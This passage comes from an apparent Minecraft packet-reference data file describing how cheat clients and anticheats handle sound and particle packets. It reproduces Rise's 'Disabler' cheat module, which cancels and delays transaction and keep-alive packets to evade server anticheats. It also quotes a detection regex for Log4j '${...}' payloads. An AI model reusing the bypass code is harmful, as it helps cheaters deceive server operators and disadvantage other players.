(mc.thePlayer == null || !mc.thePlayer.sendQueue.doneLoadingTerrain) {\n                packets.clear();\n                return;\n            }\n\n            if (mc.thePlayer.isDead || mc.isSingleplayer()) {\n                packets.forEach(p -> PacketUtil.sendPacketWithoutEvent(p.getPacket()));\n                packets.clear();\n                return;\n            }\n\n\n            if (spoofing) {\n                if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive) {\n                    packets.add(new PacketUtil.TimedPacket(packet, System.currentTimeMillis()));\n                    event.setCancelled(true);\n                }\n            } else if (packet instanceof C03PacketPlayer) {\n                packets.forEach(p -> PacketUtil.sendPacketWithoutEvent(p.getPacket()));\n                packets.clear();\n            }\n        }\n\n        if (vulcanCombat.isEnabled() && packet instanceof C0FPacketConfirmTransaction) {\n            packetList2.add(packet);\n            event.setCancelled(true);\n        }\n\n        if (mineland.isEnabled()) {\n            if (event.getPacket() instanceof C03PacketPlayer && !mc.thePlayer.isSwingInProgress && !mc.thePlayer.isUsingItem() && !((C03PacketPlayer) event.getPacket()).isMoving()) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (blocksMC.isEnabled()) {\n\n            if (packet instanceof C0FPacketConfirmTransaction) {\n                transactions.add(packet);\n                event.setCancelled(true);\n\n                if (transactions.size() > 300) {\n                    PacketUtil.sendPacketWithoutEvent(transactions.poll());\n                }\n            }\n\n            if (packet instanceof C00PacketKeepAlive) {\n                final C00PacketKeepAlive c00 = (C00PacketKeepAlive) packet;\n\n                c00.key -= 30;\n                keepAlives.add(c00);\n                event.setCancelled(true);\n            }\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (mc.thePlayer.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        mc.thePlayer.serverSprintState = false;\n                    }\n\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C03PacketPlayer && !mc.thePlayer.isSwingInProgress &&\n                    !mc.thePlayer.isUsingItem() && !((C03PacketPlayer) packet).isMoving()) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (verus.isEnabled()) {\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C00PacketKeepAlive) {\n                final C00PacketKeepAlive c00 = (C00PacketKeepAlive) packet;\n                c00.key = -c00.key;\n            }\n\n            if (packet instanceof C03PacketPlayer) {\n                final C03PacketPlayer c03 = (C03PacketPlayer) packet;\n\n                mc.timer.timerSpeed = 0.75F;\n\n                if (c03.y % 0.015625 == 0)\n                    c03.setOnGround(true);\n\n                if (timer.hasReached(1000) && !teleported) {\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition());\n                    teleported = true;\n                }\n\n                if (mc.thePlayer.ticksExisted % 100 == 0)\n                    teleported = false;\n            }\n        }\n\n        if (verusCombat.isEnabled() && mc.thePlayer.ticksExisted > 20 && !mc.thePlayer.capabilities.allowFlying) {\n            if (packet instanceof C0FPacketConfirmTransaction)\n                event.setCancelled(true);\n        }\n\n        if (position.isEnabled() && packet instanceof C03PacketPlayer) {\n            final C03PacketPlayer c03 = (C03PacketPlayer) event.getPacket();\n            c03.setY(c03.getY() + 0.015625);\n        }\n\n        if (ghostly.isEnabled()) {\n            if (packet instanceof C03PacketPlayer) {\n                PacketUtil.sendPacketWithoutEvent(new C0CPacketInput());\n\n                C03PacketPlayer c03PacketPlayer = ((C03PacketPlayer) packet);\n                double mathGround = Math.round(c03PacketPlayer.y / 0.015625) * 0.015625;\n\n                c03PacketPlayer.y = mathGround;\n                c03PacketPlayer.setOnGround(true);\n                event.setPacket(c03PacketPlayer);\n            }\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (dynamicPvP.isEnabled()) {\n            if (packet instanceof C03PacketPlayer) {\n                if (mc.thePlayer.ticksExisted % 3 == 0)\n                    event.setCancelled(true);\n\n                final C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();\n                double x = mc.thePlayer.posX, y = mc.thePlayer.posY, z = mc.thePlayer.posZ;\n\n                if (packetPlayer.isMoving()) {\n                    x = packetPlayer.getPositionX();\n                    y = packetPlayer.getPositionY();\n                    z = packetPlayer.getPositionZ();\n                }\n\n                if (mc.thePlayer.ticksExisted % 20 == 0)\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, packetPlayer.isOnGround()));\n\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, packetPlayer.isOnGround()));\n            }\n\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (spartan.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, 91, mc.thePlayer.onGround));\n        }\n\n        if (sentinel.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive) {\n//                packetHashMap.put(p, System.currentTimeMillis() + RandomUtils.nextLong(15000, 25000));\n                event.setCancelled(true);\n            }\n\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (c0f.isEnabled() || shartemis.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction)\n                event.setCancelled(true);\n        }\n\n        if (c00.isEnabled()) {\n            if (packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n        }\n\n        if (lunar.isEnabled()) {\n            if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive)\n                event.setCancelled(true);\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (reverseConvertMovingPackets.isEnabled()) {\n            if (packet instanceof C03PacketPlayer.C06PacketPlayerPosLook) {\n                final C03PacketPlayer.C06PacketPlayerPosLook packetPlayerPosition = (C03PacketPlayer.C06PacketPlayerPosLook) packet;\n                event.setPacket(new C03PacketPlayer.C04PacketPlayerPosition(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (convertMovingPackets.isEnabled()) {\n            if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition) {\n                final C03PacketPlayer.C04PacketPlayerPosition packetPlayerPosition = (C03PacketPlayer.C04PacketPlayerPosition) packet;\n                event.setPacket(new C03PacketPlayer.C06PacketPlayerPosLook(packetPlayerPosition.getX(), packetPlayerPosition.getY(), packetPlayerPosition.getZ(), mc.thePlayer.rotationYaw + (mc.thePlayer.ticksExisted % 2 == 0 ? RandomUtils.nextFloat(0.05F, 0.1F) : -RandomUtils.nextFloat(0.05F, 0.1F)), mc.thePlayer.rotationPitch, packetPlayerPosition.isOnGround()));\n            }\n        }\n\n        if (mmcKeepSprint.isEnabled()) {\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (mmcReach.isEnabled() && (PlayerUtil.isOnServer(\"minemen\") || PlayerUtil.isOnServer(\"mineman\"))) {\n            if (packet instanceof C0FPacketConfirmTransaction) {\n                event.setCancelled(true);\n            }\n        }\n    }\n\n    @Override\n    public void onStrafe(final StrafeEvent event) {\n        if (mineland.isEnabled()) {\n            PacketUtil.sendPacket(new C18PacketSpectate(UUID.randomUUID()));\n        }\n    }\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n    }\n\n}\n\n// NOTE (AI): The S29 branch is inside the HypixelSlime mode block (lines ~377-383). The module is a large multi-mode disabler; the S29 handling is incidental cleanup of a server-side visual cue, not the module's core purpose.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Disabler.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Zero detection risk: cancelling a clientbound sound is invisible to the server. The only observable effect is the missing slime sound on the local client.",
      "variations": "Rise 6.1.30 and 6.2.4 do not carry this mode; their only S29 reference is LoggerRCECheck in the security pipeline."
     },
     {
      "name": "LoggerRCECheck (security)",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Block Log4j RCE payloads carried in the sound name string.",
      "how_it_works": "A SecurityFeature registered in Rise's packet security chain. On every packet it checks the S29 sound name against the regex .*\\$\\{[^}]*}.*. A match returns true, which drops the packet before it reaches the game logic or any logging path. The same check also guards S02PacketChat text. It is a security component, not a toggleable user module.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/security/impl/LoggerRCECheck.java =====\npackage com.alan.clients.security.impl;\n\nimport com.alan.clients.security.SecurityFeature;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S29PacketSoundEffect;\nimport net.minecraft.util.IChatComponent;\n\nimport java.util.regex.Pattern;\n\npublic final class LoggerRCECheck extends SecurityFeature {\n\n    private static final Pattern PATTERN = Pattern.compile(\".*\\\\$\\\\{[^}]*}.*\");\n\n    public LoggerRCECheck() {\n        super(\"Log4J RCE Check\", \"Someone attempted to utilize the Log4J exploit\");\n    }\n\n    @Override\n    public boolean handle(final Packet<?> packet) {\n        if (packet instanceof S29PacketSoundEffect) {\n            final S29PacketSoundEffect wrapper = (S29PacketSoundEffect) packet;\n            final String name = wrapper.getSoundName();\n\n            return PATTERN.matcher(name).matches();\n        }\n\n        if (packet instanceof S02PacketChat) {\n            final S02PacketChat wrapper = ((S02PacketChat) packet);\n            final IChatComponent component = wrapper.getChatComponent();\n\n            return PATTERN.matcher(component.getUnformattedText()).matches()\n                    || PATTERN.matcher(component.getFormattedText()).matches();\n        }\n\n        return false;\n    }\n}\n\n// NOTE (AI): Security features run before module handlers, so the RCE string never reaches the world sound code. The regex only matches the literal ${...} JNDI payload shape used by CVE-2021-44228.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/security/impl/LoggerRCECheck.java",
      "vanilla_hook": "Security pipeline handle(Packet) invoked per received packet.",
      "anti_cheat_notes": "Not anti-cheat related. It defends the client against malicious servers; the cost is a regex match on every S29 and S02, which is negligible at server tick rates.",
      "variations": "Identical file in Rise 6.1.30 (com/alan/clients/security/impl/LoggerRCECheck.java). The packet class is also listed in Rise's NetworkAPI script bridge, which exposes it to JavaScript scripts but adds no game logic."
     }
    ],
    "general_hooks": "Both handlers sit on the packet receive path: Rise 5.99 uses PacketReceiveEvent, Rise 6.x uses the security chain that pre-filters every inbound packet before module dispatch.",
    "client_variations": "Rise 5.99 mutates/cancels via event.setCancelled on PacketReceiveEvent. Rise 6.1.30/6.2.4 moved packet filtering into the SecurityFeature abstraction, which returns a boolean from handle(Packet) and lets the pipeline decide whether to drop.",
    "related": [
     "S2APacketParticles",
     "S28PacketEffect",
     "S2BPacketChangeGameState"
    ],
    "anticheat": {
     "overview": "The named-sound packet is the one sound packet in this family that a major anticheat actively intercepts. NoCheatPlus ships SoundDistance, a ProtocolLib listener on PacketType.Play.Server.NAMED_SOUND_EFFECT that cancels wither, enderdragon and lightning sounds when the player is too far from the sound origin, which removes fake distant-boss audio and reduces client noise. The rest of the corpus is registration plumbing: Artemis maps the packet name to a wrapper interface, and Negativity lists it in its packet-type registry. Bukkit playSound calls in Hydro, TruthfulAC and SafeguardAC are anticheat GUI sounds, not S29 handling.",
     "checks": [
      {
       "name": "SoundDistance (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Cancel named sound packets for wither, enderdragon and lightning events when the player is beyond the configured audible radius of the sound origin.",
       "how_it_works": "A ProtocolLib BaseAdapter registered at ListenerPriority.LOW on PacketType.Play.Server.NAMED_SOUND_EFFECT (S29). It maintains a hardcoded set of boss and weather sound names (pre-1.9 resource keys plus 1.9 and 1.21 enum names), matched against the packet's sound field via getStrings().read(0) on legacy servers or the Bukkit access matchSounds() on modern ones. For a match it computes the squared horizontal distance between the player and the packet's x8 fixed-point position and cancels the packet when that exceeds the configured soundDistanceSq limit, counting each cancel on the packet.sound.cancel counter.",
       "detects": "Server-side sound spoofing where distant boss spawns or weather events are audible to players who should not hear them; the check doubles as client-noise reduction.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/SoundDistance.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.checks.net.protocollib;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\nimport org.bukkit.Location;\nimport org.bukkit.entity.Player;\nimport org.bukkit.plugin.Plugin;\n\nimport com.comphenix.protocol.PacketType;\nimport com.comphenix.protocol.events.ListenerPriority;\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.reflect.StructureModifier;\n\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.net.NetConfig;\nimport fr.neatmonster.nocheatplus.compat.registry.BukkitAPIAccessFactory;\nimport fr.neatmonster.nocheatplus.compat.versions.ServerVersion;\nimport fr.neatmonster.nocheatplus.players.DataManager;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.utilities.math.TrigUtil;\n\npublic class SoundDistance extends BaseAdapter {\n\n    // TODO: Will not be effective with 512 radius, if they add the patch by @Amranth.\n    // TODO: For lower distances more packets might need to be intercepted.\n\n    /** Partly by debugging, partly from various sources, possibly including wrong spelling. */\n    private static final Set<String> effectNames = new HashSet<String>(Arrays.asList(\n            /////////////\n            // PRE 1.9 //\n            /////////////\n\n            // Weather\n            \"ambient.weather.thunder\",\n            // Wither\n            \"wither-spawn-sound-radius\",\n            \"mob.wither.spawn\",\n            \"mob.wither.shoot\",\n            \"mob.wither.idle\",\n            \"mob.wither.hurt\",\n            \"mob.wither.death\",\n            // Enderdragon\n            \"dragon-death-sound-radius\",\n            \"mob.enderdragon.wings\",\n            \"mob.enderdragon.grow\",\n            \"mob.enderdragon.growl\",\n            \"mob.enderdragon.hit\",\n            \"mob.enderdragon.end\",\n            \"game.neutral.die\", // Enderdragon 1.8.7 (debug).\n\n            //////////////////\n            // 1.9 AND 1.20 //\n            //////////////////\n            // Weather\n            \"ENTITY_LIGHTNING_IMPACT\",\n            \"ENTITY_LIGHTNING_THUNDER\",\n            // Enderdragon\n            \"ENTITY_ENDERDRAGON_AMBIENT\",\n            \"ENTITY_ENDERDRAGON_DEATH\",\n            \"ENTITY_ENDERDRAGON_FIREBALL_EXPLODE\",\n            \"ENTITY_ENDERDRAGON_FLAP\",\n            \"ENTITY_ENDERDRAGON_GROWL\",\n            \"ENTITY_ENDERDRAGON_HURT\",\n            \"ENTITY_ENDERDRAGON_SHOOT\",\n            // Wither\n            \"ENTITY_WITHER_AMBIENT\",\n            \"ENTITY_WITHER_BREAK_BLOCK\",\n            \"ENTITY_WITHER_DEATH\",\n            \"ENTITY_WITHER_HURT\",\n            \"ENTITY_WITHER_SHOOT\",\n            \"ENTITY_WITHER_SPAWN\",\n\n            ////////////////////\n            // 1.21 AND LATER //\n            ////////////////////\n            // Weather\n            \"ENTITY_LIGHTNING_BOLT_IMPACT\",\n            \"ENTITY_LIGHTNING_BOLT_THUNDER\",\n            // Enderdragon\n            \"ENTITY_ENDER_DRAGON_AMBIENT\",\n            \"ENTITY_ENDER_DRAGON_DEATH\",\n            \"ENTITY_DRAGON_FIREBALL_EXPLODE\",\n            \"ENTITY_ENDER_DRAGON_FLAP\",\n            \"ENTITY_ENDER_DRAGON_GROWL\",\n            \"ENTITY_ENDER_DRAGON_HURT\",\n            \"ENTITY_ENDER_DRAGON_SHOOT\"\n            ));\n\n    private final Integer idSoundEffectCancel = counters.registerKey(\"packet.sound.cancel\");\n    private final Location useLoc = new Location(null, 0, 0, 0);\n    /** Legacy check behavior. */\n    private final boolean pre1_9;\n\n    public SoundDistance(Plugin plugin) {\n        super(plugin, ListenerPriority.LOW, PacketType.Play.Server.NAMED_SOUND_EFFECT);\n        this.checkType = CheckType.NET_SOUNDDISTANCE;\n        pre1_9 = ServerVersion.compareMinecraftVersion(\"1.9\") < 0;\n        inflateEffectNames();\n    }\n\n    /**\n     * Ensure both lower and upper case are contained.\n     */\n    private void inflateEffectNames() {\n        final List<String> names = new ArrayList<String>(effectNames);\n        for (String name : names) {\n            effectNames.add(name.toLowerCase());\n            effectNames.add(name.toUpperCase());\n        }\n    }\n\n    private boolean isSoundMonitoredPre1_9(final PacketContainer packetContainer) {\n        //debug(null, packetContainer.getStrings().read(0));\n        return effectNames.contains(packetContainer.getStrings().read(0));\n    }\n\n    private boolean isSoundMonitoredLatest(final PacketContainer packetContainer) {\n        return BukkitAPIAccessFactory.getBukkitAccess().matchSounds(packetContainer, effectNames);\n    }\n\n    private boolean isSoundMonitored(final PacketContainer packetContainer) {\n        if (pre1_9) {\n            return isSoundMonitoredPre1_9(packetContainer);\n        }\n        else {\n            return isSoundMonitoredLatest(packetContainer);\n        }\n    }\n\n    private void handleSoundPacket(final PacketEvent event) {\n        try {\n            if (event.isPlayerTemporary()) return;\n        } catch(NoSuchMethodError e) {\n            if (event.getPlayer() == null) return;\n            if (DataManager.getPlayerDataSafe(event.getPlayer()) == null) return;\n        }\n        final PacketContainer packetContainer = event.getPacket();\n\n        // Compare sound effect name.\n        if (!isSoundMonitored(packetContainer)) {\n            return;\n        }\n\n        final Player player = event.getPlayer();\n        final IPlayerData pData = DataManager.getPlayerData(player);\n        if (!pData.isCheckActive(CheckType.NET_SOUNDDISTANCE, player)) {\n            return;\n        }\n\n        // Compare distance of player to the weather location.\n        final Location loc = player.getLocation(useLoc);\n        final StructureModifier<Integer> ints = packetContainer.getIntegers();\n        final double dSq = TrigUtil.distanceSquared(ints.read(0) / 8, ints.read(2) / 8, loc.getX(), loc.getZ());\n        //        if (data.debug) {\n        //            debug(player, \"SoundDistance(\" + soundName + \"): \" + StringUtil.fdec1.format(Math.sqrt(dSq)));\n        //        }\n        final NetConfig cc = pData.getGenericInstance(NetConfig.class);\n        if (dSq > cc.soundDistanceSq) {\n            event.setCancelled(true);\n            counters.add(idSoundEffectCancel, 1);\n        }\n        useLoc.setWorld(null);\n    }\n    \n    @Override\n    public void onPacketSending(final PacketEvent event) {\n        try {\n            handleSoundPacket(event);\n        } catch(Throwable t) {\n            t.printStackTrace();\n            ProtocolLibComponent.unregister(this);\n        }\n    }\n\n}\n\n// NOTE (AI): This is an outbound-direction check: it filters the server's own S29 broadcasts. The distance math uses the packet's fixed-point ints (ints.read(0)/8 and ints.read(2)/8 for x and z) against the player's location.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCompatProtocolLib/src/main/java/fr/neatmonster/nocheatplus/checks/net/protocollib/SoundDistance.java",
       "variations": "No other anticheat implements a sound-distance check. Artemis registers the packet family in its repository (PacketPlayServerSoundEffectNamed at SERVER_PLAY + 64, plus custom, entity and stop variants) and Negativity lists NAMED_SOUND_EFFECT in its PacketType registry, but neither reads sound payloads."
      },
      {
       "name": "Named sound wrapper registration (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Register the named sound effect packet in Artemis's packet repository so the abstraction layer can dispatch S29 to typed wrapper interfaces.",
       "how_it_works": "PacketRepository maps SERVER_PLAY + 64 to PacketPlayServerSoundEffectNamed, a marker interface extending PacketServer. The packet generator's HardcodeMap associates the NMS name PacketPlayOutNamedSoundEffect with the same interface. The interface declares no fields or methods; Artemis only needs the packet to be recognized and routed.",
       "detects": "Nothing. This is packet-library plumbing; no Artemis check consumes the sound name, position, volume or pitch.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.api/src/main/java/ac/artemis/packet/wrapper/server/PacketPlayServerSoundEffectNamed.java =====\npackage ac.artemis.packet.wrapper.server;\n\nimport ac.artemis.packet.wrapper.PacketServer;\n\npublic interface PacketPlayServerSoundEffectNamed extends PacketServer {\n}\n\n// NOTE (AI): The interface is a marker; the actual wiring lives in PacketRepository (SERVER_PLAY + 64) and HardcodeMap (PacketPlayOutNamedSoundEffect).",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.api/src/main/java/ac/artemis/packet/wrapper/server/PacketPlayServerSoundEffectNamed.java",
       "variations": "Artemis registers the full S29 family: custom, entity, named and stop sound variants. Elikill58-Negativity maps NAMED_SOUND_EFFECT in its universal PacketType enum used by its packet listeners."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x29: sound name string max 256 chars, position ints at x times 8.",
    "Followed by float volume and unsigned byte pitch where 63 means normal pitch.",
    "Server fans out within 16 blocks, extended by volume above 1.0.",
    "MCP 1.8.9 S29PacketSoundEffect implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSoundEffect; wire serde is readPacketData/writePacketData via readFloat, readInt, readStringFromBuffer, readUnsignedByte.",
    "1.8.9 callers: CommandPlaySound.? sends new S29PacketSoundEffect (line 118) +2 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/command/CommandPlaySound.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S29PacketSoundEffect/",
   "mcp_path": "net/minecraft/network/play/server/S29PacketSoundEffect.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "WorldManager"
   ]
  },
  {
   "id": "S2APacketParticles",
   "hex": "0x2A",
   "dec": 42,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Particles",
   "desc": "Spawns particle effects at a position with offset, speed, and count.",
   "tags": [
    "world",
    "particle",
    "effect"
   ],
   "fields": [
    {
     "name": "particleName",
     "type": "String",
     "desc": "Particle type (iconcrack, blockcrack, mobSpell, etc.)"
    },
    {
     "name": "x/y/z",
     "type": "float",
     "desc": "Source position"
    },
    {
     "name": "offsetX/Y/Z",
     "type": "float",
     "desc": "Random spread"
    },
    {
     "name": "speed",
     "type": "float",
     "desc": "Particle velocity"
    },
    {
     "name": "count",
     "type": "int",
     "desc": "Number of particles"
    }
   ],
   "encoding": [
    [
     "Particle Name",
     "String",
     ""
    ],
    [
     "X",
     "float",
     ""
    ],
    [
     "Y",
     "float",
     ""
    ],
    [
     "Z",
     "float",
     ""
    ],
    [
     "Offset X/Y/Z",
     "float",
     "Spread"
    ],
    [
     "Speed",
     "float",
     ""
    ],
    [
     "Count",
     "int",
     "",
     "Particle count"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleParticles()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Particle names: barriar, blockcrack, blockdust, bubble, cloud, crit, damageindicator, depthSuspend, drippingLava, drippingWater, droplet, enchantmenttable, endRod, explode, fireworkSpark, flame, footstep, happyVillager, heart, hugeexplosion, iconcrack, instantSpell, largeSmoke, lava, magicCrit, mobAppearance, mobSpell, mobSpellAmbient, note, portal, reddust, slime, smokeSpelling, snowballpoof, snowshovel, spell, suspended, sweepAttack, take, totem, townaura, wake, witchMagic.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Spawns a particle burst at a world position with random offset, speed, and count. The particle name is a String that the client maps to an EnumParticleTypes; a trailing varint array carries iconcrack/blockcrack item and block data. Server-side it is the workhorse of WorldServer.spawnParticle, which batches particles into a single packet and sends it with a long-distance flag when the emitter is far from the viewer. The client handler walks the count in a loop, so a large count is a direct CPU/GPU cost on the receiving machine."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleParticles marshals to the main thread, then calls clientWorldController.spawnParticle. When count is 0 the offset floats are treated as a single particle's velocity; otherwise the offsets are random spread and count particles are spawned. A Throwable around the spawn call logs 'Could not spawn particle effect' instead of crashing. The server path (WorldServer.spawnParticle) constructs one S2A per batch and uses sendToAllNear with a 512-block radius when longDistance is set."
     },
     {
      "h": "Why clients touch it",
      "p": "Five distinct uses in the 8 clients. (1) Memeware 7.3 Disabler cancels every S2A unconditionally, an anti-lag/anti-crash blanket filter. (2) Rise 5.99 Disabler cancels only SLIME-type particles in its HypixelSlime mode. (3) Rise 6.x ParticleDistanceComponent, a performance component, drops any particle further than 6 blocks from the player. (4) Rise 6.x ParticleCheck, a security feature, token-buckets particle counts and drops floods. (5) Tenacity 6.0 AntiExploit cancels particles with extreme speed or count, and Sigma 4.11 Criticals skips S2A inside its own packet state machine so the crit-trigger logic is not disturbed."
     },
     {
      "h": "Exploit surface",
